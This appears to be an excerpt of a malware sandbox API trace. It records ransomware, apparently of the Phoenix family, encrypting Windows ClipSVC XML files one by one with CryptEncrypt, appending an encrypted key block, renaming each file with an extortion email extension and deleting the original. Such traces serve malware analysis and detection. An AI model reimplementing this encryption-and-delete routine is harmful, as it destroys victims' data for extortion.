	[0243.964] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xfd0, lpOverlapped=0x0) returned 1
	[0243.965] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0243.965] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.965] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0243.965] CryptDestroyKey (hKey=0x151140) returned 1
	[0243.965] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0243.966] CryptDestroyKey (hKey=0x151640) returned 1
	[0243.966] CloseHandle (hObject=0x2c8) returned 1
	[0243.966] CloseHandle (hObject=0x2b0) returned 1
	[0243.966] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3e260c8e-54e8-d0b9-02ab-2d0faa9743f8.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3e260c8e-54e8-d0b9-02ab-2d0faa9743f8.xml")) returned 1
	[0243.967] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0243.967] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\46a9b648-161a-6393-bdaf-a6ccb77a570d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\46a9b648-161a-6393-bdaf-a6ccb77a570d.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0243.967] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3510) returned 1
	[0243.967] CloseHandle (hObject=0x2b0) returned 1
	[0243.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\46a9b648-161a-6393-bdaf-a6ccb77a570d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\46a9b648-161a-6393-bdaf-a6ccb77a570d.xml")) returned 0x20
	[0243.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\46a9b648-161a-6393-bdaf-a6ccb77a570d.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\46a9b648-161a-6393-bdaf-a6ccb77a570d.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.968] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\46a9b648-161a-6393-bdaf-a6ccb77a570d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\46a9b648-161a-6393-bdaf-a6ccb77a570d.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0243.968] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.968] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.968] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\46a9b648-161a-6393-bdaf-a6ccb77a570d.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\46a9b648-161a-6393-bdaf-a6ccb77a570d.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0243.968] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151080) returned 1
	[0243.968] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.968] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xdb6, lpOverlapped=0x0) returned 1
	[0244.069] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xdc0, dwBufLen=0xdc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xdc0) returned 1
	[0244.069] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xdc0, lpOverlapped=0x0) returned 1
	[0244.070] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151680) returned 1
	[0244.070] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0244.070] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0244.070] CryptDestroyKey (hKey=0x151680) returned 1
	[0244.070] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0244.070] CryptDestroyKey (hKey=0x151080) returned 1
	[0244.070] CloseHandle (hObject=0x2b0) returned 1
	[0244.070] CloseHandle (hObject=0x2c8) returned 1
	[0244.089] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\46a9b648-161a-6393-bdaf-a6ccb77a570d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\46a9b648-161a-6393-bdaf-a6ccb77a570d.xml")) returned 1
	[0244.090] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0244.090] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\4c4ecbc0-0ec0-3929-aebb-a931a339fb23.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\4c4ecbc0-0ec0-3929-aebb-a931a339fb23.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0244.092] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3201) returned 1
	[0244.092] CloseHandle (hObject=0x2b0) returned 1
	[0244.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\4c4ecbc0-0ec0-3929-aebb-a931a339fb23.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\4c4ecbc0-0ec0-3929-aebb-a931a339fb23.xml")) returned 0x20
	[0244.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\4c4ecbc0-0ec0-3929-aebb-a931a339fb23.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\4c4ecbc0-0ec0-3929-aebb-a931a339fb23.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.092] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\4c4ecbc0-0ec0-3929-aebb-a931a339fb23.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\4c4ecbc0-0ec0-3929-aebb-a931a339fb23.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0244.092] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0244.092] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0244.092] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\4c4ecbc0-0ec0-3929-aebb-a931a339fb23.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\4c4ecbc0-0ec0-3929-aebb-a931a339fb23.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0244.092] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151440) returned 1
	[0244.092] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0244.092] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc81, lpOverlapped=0x0) returned 1
	[0244.191] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc90, dwBufLen=0xc90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc90) returned 1
	[0244.191] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc90, lpOverlapped=0x0) returned 1
	[0244.192] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151600) returned 1
	[0244.192] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0244.192] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0244.192] CryptDestroyKey (hKey=0x151600) returned 1
	[0244.192] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0244.192] CryptDestroyKey (hKey=0x151440) returned 1
	[0244.192] CloseHandle (hObject=0x2b0) returned 1
	[0244.192] CloseHandle (hObject=0x2b4) returned 1
	[0244.192] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\4c4ecbc0-0ec0-3929-aebb-a931a339fb23.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\4c4ecbc0-0ec0-3929-aebb-a931a339fb23.xml")) returned 1
	[0244.193] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0244.193] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5390be10-79b5-dc50-bb32-91842c76e607.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5390be10-79b5-dc50-bb32-91842c76e607.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0244.194] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2625) returned 1
	[0244.194] CloseHandle (hObject=0x2b4) returned 1
	[0244.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5390be10-79b5-dc50-bb32-91842c76e607.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5390be10-79b5-dc50-bb32-91842c76e607.xml")) returned 0x20
	[0244.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5390be10-79b5-dc50-bb32-91842c76e607.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5390be10-79b5-dc50-bb32-91842c76e607.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.194] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5390be10-79b5-dc50-bb32-91842c76e607.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5390be10-79b5-dc50-bb32-91842c76e607.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0244.194] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0244.194] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0244.194] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5390be10-79b5-dc50-bb32-91842c76e607.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5390be10-79b5-dc50-bb32-91842c76e607.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0244.194] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151440) returned 1
	[0244.194] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0244.195] ReadFile (in: hFile=0x2b4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xa41, lpOverlapped=0x0) returned 1
	[0244.364] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa50, dwBufLen=0xa50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa50) returned 1
	[0244.364] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xa50, lpOverlapped=0x0) returned 1
	[0244.365] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1514c0) returned 1
	[0244.365] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0244.365] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0244.365] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0244.365] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0244.365] CryptDestroyKey (hKey=0x151440) returned 1
	[0244.365] CloseHandle (hObject=0x2b4) returned 1
	[0244.365] CloseHandle (hObject=0x2b0) returned 1
	[0244.366] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5390be10-79b5-dc50-bb32-91842c76e607.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5390be10-79b5-dc50-bb32-91842c76e607.xml")) returned 1
	[0244.367] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0244.367] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\59e31519-5400-7696-2a00-b5fca5ba8904.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\59e31519-5400-7696-2a00-b5fca5ba8904.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0244.367] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2636) returned 1
	[0244.367] CloseHandle (hObject=0x2b0) returned 1
	[0244.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\59e31519-5400-7696-2a00-b5fca5ba8904.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\59e31519-5400-7696-2a00-b5fca5ba8904.xml")) returned 0x20
	[0244.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\59e31519-5400-7696-2a00-b5fca5ba8904.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\59e31519-5400-7696-2a00-b5fca5ba8904.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.367] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\59e31519-5400-7696-2a00-b5fca5ba8904.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\59e31519-5400-7696-2a00-b5fca5ba8904.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0244.367] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0244.368] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0244.368] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\59e31519-5400-7696-2a00-b5fca5ba8904.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\59e31519-5400-7696-2a00-b5fca5ba8904.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0244.368] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151600) returned 1
	[0244.368] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0244.368] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xa4c, lpOverlapped=0x0) returned 1
	[0244.820] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa50, dwBufLen=0xa50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa50) returned 1
	[0244.820] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xa50, lpOverlapped=0x0) returned 1
	[0244.821] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1513c0) returned 1
	[0244.821] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0244.821] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0244.821] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0244.821] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0244.821] CryptDestroyKey (hKey=0x151600) returned 1
	[0244.821] CloseHandle (hObject=0x2b0) returned 1
	[0244.821] CloseHandle (hObject=0x2b4) returned 1
	[0244.821] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\59e31519-5400-7696-2a00-b5fca5ba8904.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\59e31519-5400-7696-2a00-b5fca5ba8904.xml")) returned 1
	[0244.822] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0244.822] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5dd8bcf1-73af-cff8-d142-0ca7feade752.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5dd8bcf1-73af-cff8-d142-0ca7feade752.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0244.823] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3223) returned 1
	[0244.823] CloseHandle (hObject=0x2b4) returned 1
	[0244.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5dd8bcf1-73af-cff8-d142-0ca7feade752.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5dd8bcf1-73af-cff8-d142-0ca7feade752.xml")) returned 0x20
	[0244.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5dd8bcf1-73af-cff8-d142-0ca7feade752.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5dd8bcf1-73af-cff8-d142-0ca7feade752.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.823] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5dd8bcf1-73af-cff8-d142-0ca7feade752.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5dd8bcf1-73af-cff8-d142-0ca7feade752.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0244.823] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0244.823] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0244.823] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5dd8bcf1-73af-cff8-d142-0ca7feade752.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5dd8bcf1-73af-cff8-d142-0ca7feade752.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0244.823] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0244.823] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0244.824] ReadFile (in: hFile=0x2b4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc97, lpOverlapped=0x0) returned 1
	[0244.955] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xca0, dwBufLen=0xca0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xca0) returned 1
